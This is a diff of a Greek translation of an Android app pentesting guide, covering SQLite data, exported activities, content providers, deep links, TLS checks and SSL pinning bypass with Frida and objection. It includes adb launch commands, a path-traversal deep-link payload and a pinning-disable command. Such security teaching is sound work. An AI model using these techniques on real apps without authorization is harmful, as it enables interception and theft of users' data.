Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως Google Adsense, που μπορεί ακούσια να **leak sensitive data** λόγω εσφαλμένης υλοποίησης από τους developers. Για να εντοπίσετε πιθανές διαρροές, είναι χρήσιμο να **intercept the application's traffic** και να ελέγξετε αν ευαίσθητες πληροφορίες αποστέλλονται σε third-party services.
|
||||||
|
|
||||||
### SQLite DBs
|
### SQLite DBs
|
||||||
|
|
||||||
Οι περισσότερες εφαρμογές χρησιμοποιούν **internal SQLite databases** για να αποθηκεύουν πληροφορίες. Κατά το pentest, ρίξτε μια **ματιά** στις **databases** που δημιουργούνται, τα ονόματα των **tables** και **columns** και όλα τα **data** που αποθηκεύονται γιατί μπορεί να βρείτε sensitive information (το οποίο θα είναι vulnerability).\
|
Οι περισσότερες εφαρμογές θα χρησιμοποιήσουν **internal SQLite databases** για να αποθηκεύσουν πληροφορίες. Κατά το pentest ρίξτε μια **ματιά** στις **databases** που δημιουργούνται, στα ονόματα των **tables** και **columns** και σε όλα τα **δεδομένα** που αποθηκεύονται γιατί μπορεί να βρείτε **ευαίσθητες πληροφορίες** (που θα αποτελούσαν vulnerability).\
|
||||||
Οι βάσεις δεδομένων θα πρέπει να βρίσκονται σε `/data/data/the.package.name/databases` όπως `/data/data/com.mwr.example.sieve/databases`
|
Οι βάσεις δεδομένων θα πρέπει να βρίσκονται στο `/data/data/the.package.name/databases` όπως `/data/data/com.mwr.example.sieve/databases`
|
||||||
|
|
||||||
Αν η βάση δεδομένων αποθηκεύει εμπιστευτικές πληροφορίες και είναι **encrypted b**ut μπορείτε **find** το **password** μέσα στην εφαρμογή, εξακολουθεί να είναι **vulnerability**.
|
Αν η βάση δεδομένων αποθηκεύει εμπιστευτικές πληροφορίες και είναι **encrypted** αλλά μπορείτε να **find** τον **password** μέσα στην εφαρμογή, αυτό εξακολουθεί να είναι μια **vulnerability**.
|
||||||
|
|
||||||
Αναγράψτε τα tables με `.tables` και αναλύστε τα σχήματα των table με `.schema <table_name>`
|
Καταγράψτε τα tables με `.tables` και τις στήλες των tables με `.schema <table_name>`
|
||||||
|
|
||||||
### Drozer (Exploit Activities, Content Providers and Services)
|
### Drozer (Exploit Activities, Content Providers and Services)
|
||||||
|
|
||||||
@ -341,23 +341,23 @@ You can also start an exported activity from adb:
|
|||||||
```bash
|
```bash
|
||||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||||
```
|
```
|
||||||
**ΣΗΜΕΙΩΣΗ**: Το MobSF θα εντοπίσει ως κακόβουλη τη χρήση του _**singleTask/singleInstance**_ ως `android:launchMode` σε ένα activity, αλλά λόγω [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), προφανώς αυτό είναι επικίνδυνο μόνο σε παλιές εκδόσεις (API versions < 21).
|
**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Σημειώστε ότι ένα authorisation bypass δεν είναι απαραίτητα ευπάθεια — εξαρτάται από το πώς λειτουργεί το bypass και ποιες πληροφορίες εκτίθενται.
|
> Σημειώστε ότι ένα authorisation bypass δεν είναι πάντα μια ευπάθεια — εξαρτάται από το πώς λειτουργεί το bypass και ποιες πληροφορίες εκτίθενται.
|
||||||
|
|
||||||
**Sensitive information leakage**
|
**Sensitive information leakage**
|
||||||
|
|
||||||
**Activities can also return results**. Εάν καταφέρετε να βρείτε ένα exported και unprotected activity που καλεί τη μέθοδο **`setResult`** και **επιστρέφει ευαίσθητες πληροφορίες**, υπάρχει sensitive information leakage.
|
**Activities can also return results**. Εάν καταφέρετε να εντοπίσετε μια exported και unprotected activity που καλεί τη μέθοδο **`setResult`** και **επιστρέφει ευαίσθητες πληροφορίες**, υπάρχει sensitive information leakage.
|
||||||
|
|
||||||
#### Tapjacking
|
#### Tapjacking
|
||||||
|
|
||||||
If tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
|
Εάν το Tapjacking δεν αποτρέπεται, μπορείτε να καταχραστείτε την exported activity για να κάνετε τον **user να εκτελέσει απροσδόκητες ενέργειες**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
|
||||||
|
|
||||||
### Exploiting Content Providers - Accessing and manipulating sensitive information
|
### Exploiting Content Providers - Accessing and manipulating sensitive information
|
||||||
|
|
||||||
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
|
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
|
||||||
Content providers χρησιμοποιούνται βασικά για να **μοιράζουν δεδομένα**. Αν μια app έχει διαθέσιμους content providers μπορεί να μπορείτε να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης σημαντικό να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς μπορεί να είναι ευάλωτες.
|
Οι Content providers χρησιμοποιούνται βασικά για να **share data**. Εάν μια εφαρμογή έχει διαθέσιμους content providers μπορεί να είστε ικανοί να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Επίσης είναι ενδιαφέρον να ελέγξετε για πιθανές **SQL injections** και **Path Traversals** καθώς μπορεί να είναι ευάλωτοι.
|
||||||
|
|
||||||
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
|
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||||
|
|
||||||
@ -366,7 +366,7 @@ Content providers χρησιμοποιούνται βασικά για να **μ
|
|||||||
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
|
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
|
||||||
Θυμηθείτε ότι οι ενέργειες ενός Service ξεκινούν στη μέθοδο `onStartCommand`.
|
Θυμηθείτε ότι οι ενέργειες ενός Service ξεκινούν στη μέθοδο `onStartCommand`.
|
||||||
|
|
||||||
Ένα service είναι ουσιαστικά κάτι που **μπορεί να λαμβάνει δεδομένα**, **να τα επεξεργάζεται** και **να επιστρέφει** (ή όχι) μια απάντηση. Επομένως, αν μια εφαρμογή εξάγει services θα πρέπει να **ελέγξετε** τον **κώδικα** για να κατανοήσετε τι κάνει και να το **δοκιμάσετε** **δυναμικά** για εξαγωγή εμπιστευτικών πληροφοριών, παράκαμψη μέτρων αυθεντικοποίησης...\
|
Ένα Service είναι βασικά κάτι που **can receive data**, **process** it και **returns** (ή όχι) μια απάντηση. Έτσι, εάν μια εφαρμογή εξάγει κάποια services θα πρέπει να **ελέγξετε** τον **κώδικα** για να καταλάβετε τι κάνει και να το **δοκιμάσετε** **δυναμικά** για να εξάγετε εμπιστευτικές πληροφορίες, να παρακάμψετε μέτρα authentication...\
|
||||||
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
|
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
|
||||||
|
|
||||||
### **Exploiting Broadcast Receivers**
|
### **Exploiting Broadcast Receivers**
|
||||||
@ -374,37 +374,37 @@ Content providers χρησιμοποιούνται βασικά για να **μ
|
|||||||
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||||
Θυμηθείτε ότι οι ενέργειες ενός Broadcast Receiver ξεκινούν στη μέθοδο `onReceive`.
|
Θυμηθείτε ότι οι ενέργειες ενός Broadcast Receiver ξεκινούν στη μέθοδο `onReceive`.
|
||||||
|
|
||||||
Ένας broadcast receiver θα περιμένει έναν τύπο μηνύματος. Ανάλογα με το πώς ο receiver χειρίζεται το μήνυμα, μπορεί να είναι ευάλωτος.\
|
Ένας broadcast receiver θα περιμένει έναν τύπο μηνύματος. Ανάλογα με το πώς ο receiver χειρίζεται το μήνυμα, θα μπορούσε να είναι ευάλωτος.\
|
||||||
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
|
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
|
||||||
|
|
||||||
### **Exploiting Schemes / Deep links**
|
### **Exploiting Schemes / Deep links**
|
||||||
|
|
||||||
Μπορείτε να αναζητήσετε deep links χειροκίνητα, χρησιμοποιώντας εργαλεία όπως το MobSF ή scripts όπως [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
Μπορείτε να ψάξετε για deep links χειροκίνητα, χρησιμοποιώντας εργαλεία όπως το MobSF ή scripts όπως [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||||
Μπορείτε να **ανοίξετε** ένα δηλωμένο **scheme** χρησιμοποιώντας **adb** ή έναν **browser**:
|
Μπορείτε να **open** ένα δηλωμένο **scheme** χρησιμοποιώντας **adb** ή έναν **browser**:
|
||||||
```bash
|
```bash
|
||||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||||
```
|
```
|
||||||
_Σημειώστε ότι μπορείτε να **παραλείψετε το package name** και το κινητό θα καλέσει αυτόματα την εφαρμογή που θα ανοίξει αυτόν τον σύνδεσμο._
|
_Σημειώστε ότι μπορείτε να **παραλείψετε το package name** και το κινητό θα καλέσει αυτόματα την εφαρμογή που θα πρέπει να ανοίξει αυτόν τον σύνδεσμο._
|
||||||
```html
|
```html
|
||||||
<!-- Browser regular link -->
|
<!-- Browser regular link -->
|
||||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||||
<!-- fallback in your url you could try the intent url -->
|
<!-- fallback in your url you could try the intent url -->
|
||||||
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
|
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
|
||||||
```
|
```
|
||||||
**Code executed**
|
**Κώδικας που εκτελείται**
|
||||||
|
|
||||||
In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**.
|
Για να βρεις τον **κώδικα που θα εκτελεστεί στην App**, πήγαινε στην activity που καλείται από το deeplink και ψάξε τη συνάρτηση **`onNewIntent`**.
|
||||||
|
|
||||||
 (1) (1) (1).png>)
|
 (1) (1) (1).png>)
|
||||||
|
|
||||||
**Sensitive info**
|
**Ευαίσθητες πληροφορίες**
|
||||||
|
|
||||||
Every time you find a deep link check that i**t's not receiving sensitive data (like passwords) via URL parameters**, because any other application could **impersonate the deep link and steal that data!**
|
Κάθε φορά που βρίσκεις ένα deep link, έλεγξε ότι **δεν λαμβάνει ευαίσθητα δεδομένα (π.χ. κωδικούς) μέσω παραμέτρων URL**, γιατί οποιαδήποτε άλλη εφαρμογή θα μπορούσε **να μιμηθεί το deep link και να κλέψει αυτά τα δεδομένα!**
|
||||||
|
|
||||||
**Parameters in path**
|
**Parameters in path**
|
||||||
|
|
||||||
You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
Πρέπει επίσης να ελέγξεις αν κάποιο deep link χρησιμοποιεί παράμετρο μέσα στο path της URL όπως: `https://api.example.com/v1/users/{username}` , σε αυτή την περίπτωση μπορείς να προκαλέσεις path traversal προσπελάζοντας κάτι σαν: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||||
Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
|
Σημείωσε ότι αν βρεις τα σωστά endpoints μέσα στην εφαρμογή μπορεί να καταφέρεις να προκαλέσεις ένα **Open Redirect** (αν μέρος του path χρησιμοποιείται ως domain name), **account takeover** (αν μπορείς να τροποποιήσεις στοιχεία χρηστών χωρίς CSRF token και το vuln endpoint χρησιμοποιούσε τη σωστή μέθοδο) και οποιοδήποτε άλλο vuln. Περισσότερες [info about this here](http://dphoeniixx.com/2020/12/13-2/).
|
||||||
|
|
||||||
**More examples**
|
**More examples**
|
||||||
|
|
||||||
@ -412,34 +412,34 @@ An [interesting bug bounty report](https://hackerone.com/reports/855618) about l
|
|||||||
|
|
||||||
### Transport Layer Inspection and Verification Failures
|
### Transport Layer Inspection and Verification Failures
|
||||||
|
|
||||||
- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections.
|
- **Certificates are not always inspected properly** από τις Android εφαρμογές. Είναι συνηθισμένο αυτές οι εφαρμογές να αγνοούν προειδοποιήσεις και να αποδέχονται self-signed certificates ή, σε κάποιες περιπτώσεις, να επιστρέφουν στη χρήση HTTP connections.
|
||||||
- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data.
|
- **Negotiations during the SSL/TLS handshake are sometimes weak**, χρησιμοποιώντας insecure cipher suites. Αυτή η ευπάθεια κάνει τη σύνδεση επιρρεπή σε man-in-the-middle (MITM) attacks, επιτρέποντας σε επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα.
|
||||||
- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. This approach fails to protect sensitive data, such as session cookies or user details, from interception by malicious entities.
|
- **Leakage of private information** είναι ένας κίνδυνος όταν εφαρμογές αυθεντικοποιούνται χρησιμοποιώντας secure channels αλλά μετά επικοινωνούν μέσω non-secure channels για άλλες συναλλαγές. Αυτή η προσέγγιση δεν προστατεύει ευαίσθητα δεδομένα, όπως session cookies ή στοιχεία χρηστών, από την υποκλοπή από κακόβουλους φορείς.
|
||||||
|
|
||||||
#### Certificate Verification
|
#### Certificate Verification
|
||||||
|
|
||||||
We will focus on **certificate verification**. The integrity of the server's certificate must be verified to enhance security. This is crucial because insecure TLS configurations and the transmission of sensitive data over unencrypted channels can pose significant risks. For detailed steps on verifying server certificates and addressing vulnerabilities, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) provides comprehensive guidance.
|
Θα επικεντρωθούμε στην **certificate verification**. Η ακεραιότητα του server's certificate πρέπει να επαληθεύεται για να ενισχυθεί η ασφάλεια. Αυτό είναι κρίσιμο επειδή insecure TLS configurations και η μετάδοση ευαίσθητων δεδομένων πάνω από μη κρυπτογραφημένα κανάλια μπορούν να θέσουν σημαντικούς κινδύνους. Για αναλυτικά βήματα σχετικά με την επαλήθευση server certificates και την επιδιόρθωση ευπαθειών, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει πλήρεις οδηγίες.
|
||||||
|
|
||||||
#### SSL Pinning
|
#### SSL Pinning
|
||||||
|
|
||||||
SSL Pinning is a security measure where the application verifies the server's certificate against a known copy stored within the application itself. This method is essential for preventing MITM attacks. Implementing SSL Pinning is strongly recommended for applications handling sensitive information.
|
SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το server's certificate σε σχέση με ένα γνωστό αντίγραφο που αποθηκεύεται μέσα στην εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την πρόληψη MITM attacks. Η υλοποίηση SSL Pinning συνιστάται έντονα για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
|
||||||
|
|
||||||
#### Traffic Inspection
|
#### Traffic Inspection
|
||||||
|
|
||||||
To inspect HTTP traffic, it's necessary to **install the proxy tool's certificate** (e.g., Burp). Without installing this certificate, encrypted traffic might not be visible through the proxy. For a guide on installing a custom CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
Για να ελέγξεις HTTP traffic, είναι απαραίτητο να **εγκαταστήσεις το certificate του proxy tool** (π.χ. Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, το κρυπτογραφημένο traffic μπορεί να μην είναι ορατό μέσω του proxy. Για οδηγό σχετικά με την εγκατάσταση custom CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||||
|
|
||||||
Applications targeting **API Level 24 and above** require modifications to the Network Security Config to accept the proxy's CA certificate. This step is critical for inspecting encrypted traffic. For instructions on modifying the Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
|
Εφαρμογές που στοχεύουν **API Level 24 and above** απαιτούν τροποποιήσεις στο Network Security Config για να αποδεχθούν το proxy's CA certificate. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένου traffic. Για οδηγίες σχετικά με την τροποποίηση του Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
|
||||||
|
|
||||||
If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs.
|
Αν χρησιμοποιείται **Flutter** πρέπει να ακολουθήσεις τις οδηγίες στη [**this page**](flutter.md). Αυτό συμβαίνει επειδή, απλά προσθέτοντας το certificate στο store δεν θα λειτουργήσει καθώς το Flutter έχει τη δική του λίστα με έγκυρα CAs.
|
||||||
|
|
||||||
#### Static detection of SSL/TLS pinning
|
#### Static detection of SSL/TLS pinning
|
||||||
|
|
||||||
Before attempting runtime bypasses, quickly map where pinning is enforced in the APK. Static discovery helps you plan hooks/patches and focus on the right code paths.
|
Πριν επιχειρήσεις runtime bypasses, κάνε γρήγορο mapping του που εφαρμόζεται pinning στο APK. Η στατική ανακάλυψη βοηθά να σχεδιάσεις hooks/patches και να επικεντρωθείς στα σωστά code paths.
|
||||||
|
|
||||||
Tool: SSLPinDetect
|
Tool: SSLPinDetect
|
||||||
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
|
- Open-source static-analysis utility που decompiles το APK σε Smali (via apktool) και σαρώνει για curated regex patterns υλοποιήσεων SSL/TLS pinning.
|
||||||
- Reports exact file path, line number, and a code snippet for each match.
|
- Αναφέρει ακριβές file path, αριθμό γραμμής, και ένα code snippet για κάθε match.
|
||||||
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
|
- Καλύπτει κοινά frameworks και custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
|
||||||
|
|
||||||
Install
|
Install
|
||||||
- Prereqs: Python >= 3.8, Java on PATH, apktool
|
- Prereqs: Python >= 3.8, Java on PATH, apktool
|
||||||
@ -457,7 +457,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
|
|||||||
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
||||||
```
|
```
|
||||||
Παραδείγματα κανόνων pattern (JSON)
|
Παραδείγματα κανόνων pattern (JSON)
|
||||||
Χρησιμοποιήστε ή επεκτείνετε τις signatures για να εντοπίσετε proprietary/custom pinning styles. Μπορείτε να φορτώσετε το δικό σας JSON και να κάνετε scan σε μεγάλη κλίμακα.
|
Χρησιμοποιήστε ή επεκτείνετε signatures για να εντοπίσετε proprietary/custom pinning styles. Μπορείτε να φορτώσετε το δικό σας JSON και να σαρώσετε σε μεγάλη κλίμακα.
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"OkHttp Certificate Pinning": [
|
"OkHttp Certificate Pinning": [
|
||||||
@ -472,42 +472,42 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
Notes and tips
|
Notes and tips
|
||||||
- Γρήγορο σάρωμα σε μεγάλες εφαρμογές μέσω multi-threading και memory-mapped I/O· pre-compiled regex μειώνει το overhead/false positives.
|
- Γρήγορη σάρωση μεγάλων εφαρμογών μέσω multi-threading και memory-mapped I/O; προ-συμπιεσμένα regex μειώνουν την επιβάρυνση και τα ψευδώς θετικά.
|
||||||
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
|
- Συλλογή patterns: https://github.com/aancw/smali-sslpin-patterns
|
||||||
- Τυπικοί στόχοι ανίχνευσης για περαιτέρω αξιολόγηση:
|
- Τυπικοί στόχοι ανίχνευσης για περαιτέρω αξιολόγηση:
|
||||||
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
|
- OkHttp: χρήση CertificatePinner, setCertificatePinner, αναφορές πακέτου okhttp3/okhttp
|
||||||
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
|
- Custom TrustManagers: javax.net.ssl.X509TrustManager, overrides του checkServerTrusted
|
||||||
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
|
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init με custom managers
|
||||||
- Declarative pins in res/xml network security config and manifest references
|
- Declarative pins στο res/xml network security config και αναφορές στο manifest
|
||||||
- Χρησιμοποιήστε τις αντιστοιχισμένες θέσεις για να σχεδιάσετε Frida hooks, static patches, ή ανασκοπήσεις config πριν από dynamic testing.
|
- Χρησιμοποιήστε τις αντιστοιχισμένες τοποθεσίες για να σχεδιάσετε Frida hooks, static patches ή ελέγχους config πριν από dynamic testing.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#### Παράκαμψη του SSL Pinning
|
#### Bypassing SSL Pinning
|
||||||
|
|
||||||
Όταν εφαρμόζεται SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της κίνησης HTTPS. Υπάρχουν διάφορες μέθοδοι για αυτό:
|
Όταν το SSL Pinning εφαρμόζεται, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της HTTPS κίνησης. Υπάρχουν διάφορες μέθοδοι για αυτό:
|
||||||
|
|
||||||
- Αυτόματα **τροποποιήστε** το **apk** για να **παρακάμψετε** το SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το μεγαλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε ξανά τη νέα, και αυτό δεν δουλεύει πάντα.
|
- Αυτόματη **τροποποίηση** του **apk** για **παράκαμψη** SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το μεγαλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε ξανά τη νέα, και αυτό δεν δουλεύει πάντα.
|
||||||
- Μπορείτε να χρησιμοποιήσετε **Frida** (συζητείται παρακάτω) για να παρακάμψετε αυτήν την προστασία. Εδώ έχετε έναν οδηγό για να χρησιμοποιήσετε Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
- Μπορείτε να χρησιμοποιήσετε **Frida** (αναφέρεται παρακάτω) για να παρακάμψετε αυτήν την προστασία. Εδώ έχετε έναν οδηγό για τη χρήση Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||||
- Μπορείτε επίσης να δοκιμάσετε να **αυτόματα παρακάμψετε το SSL Pinning** χρησιμοποιώντας [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
- Μπορείτε επίσης να δοκιμάσετε να **αυτόματα παρακάμψετε** το SSL Pinning χρησιμοποιώντας [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||||
- Μπορείτε επίσης να δοκιμάσετε να **αυτόματα παρακάμψετε το SSL Pinning** χρησιμοποιώντας **MobSF dynamic analysis** (εξηγείται παρακάτω)
|
- Μπορείτε επίσης να δοκιμάσετε να **αυτόματα παρακάμψετε** το SSL Pinning χρησιμοποιώντας **MobSF dynamic analysis** (εξηγείται παρακάτω)
|
||||||
- Αν εξακολουθείτε να νομίζετε ότι υπάρχει κίνηση που δεν καταγράφετε, μπορείτε να δοκιμάσετε να **προωθήσετε την κίνηση στο burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
- Εάν ακόμα νομίζετε ότι υπάρχει κίνηση που δεν καταγράφετε, μπορείτε να δοκιμάσετε να **προωθήσετε την κίνηση στο burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||||
|
|
||||||
#### Αναζήτηση κοινών web ευπαθειών
|
#### Looking for Common Web Vulnerabilities
|
||||||
|
|
||||||
Είναι σημαντικό να ψάχνετε επίσης για κοινές web ευπάθειες μέσα στην εφαρμογή. Αναλυτικές πληροφορίες για την αναγνώριση και τη μετρίαση αυτών των ευπαθειών υπερβαίνουν το πλαίσιο αυτής της περίληψης αλλά καλύπτονται εκτενώς αλλού.
|
Είναι σημαντικό επίσης να αναζητήσετε κοινές web ευπάθειες μέσα στην εφαρμογή. Αναλυτικές πληροφορίες για τον εντοπισμό και την αντιμετώπιση αυτών των ευπαθειών υπερβαίνουν το πεδίο αυτής της περίληψης αλλά καλύπτονται εκτενώς αλλού.
|
||||||
|
|
||||||
### Frida
|
### Frida
|
||||||
|
|
||||||
[Frida](https://www.frida.re) είναι ένα dynamic instrumentation toolkit για developers, reverse-engineers, και security researchers.\
|
[Frida](https://www.frida.re) είναι ένα dynamic instrumentation toolkit για developers, reverse-engineers και security researchers.\
|
||||||
**Μπορείτε να έχετε πρόσβαση σε τρέχουσα εφαρμογή και να κάνετε hook μεθόδους σε run time για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε άλλο κώδικα...**\
|
**Μπορείτε να έχετε πρόσβαση σε μια τρέχουσα εφαρμογή και να κάνετε hook μεθόδους σε runtime για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να τρέξετε διαφορετικό κώδικα...**\
|
||||||
Αν θέλετε να κάνετε pentest σε Android εφαρμογές πρέπει να ξέρετε πώς να χρησιμοποιείτε Frida.
|
Αν θέλετε να pentest εφαρμογές Android πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
|
||||||
|
|
||||||
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
- Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||||
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
- Κάποιες "GUI" λύσεις για ενέργειες με Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||||
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
- Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||||
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
- Μπορείτε να βρείτε μερικά Awesome Frida scripts εδώ: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||||
- Προσπαθήστε να παρακάμψετε anti-debugging / anti-frida μηχανισμούς φορτώνοντας το Frida όπως υποδεικνύεται στο [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (εργαλείο [linjector](https://github.com/erfur/linjector-rs))
|
- Δοκιμάστε να παρακάμψετε anti-debugging / anti-frida μηχανισμούς φορτώνοντας το Frida όπως υποδεικνύεται στο [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (εργαλείο [linjector](https://github.com/erfur/linjector-rs))
|
||||||
|
|
||||||
#### Anti-instrumentation & SSL pinning bypass workflow
|
#### Anti-instrumentation & SSL pinning bypass workflow
|
||||||
|
|
||||||
@ -515,11 +515,11 @@ Notes and tips
|
|||||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
|
android-anti-instrumentation-and-ssl-pinning-bypass.md
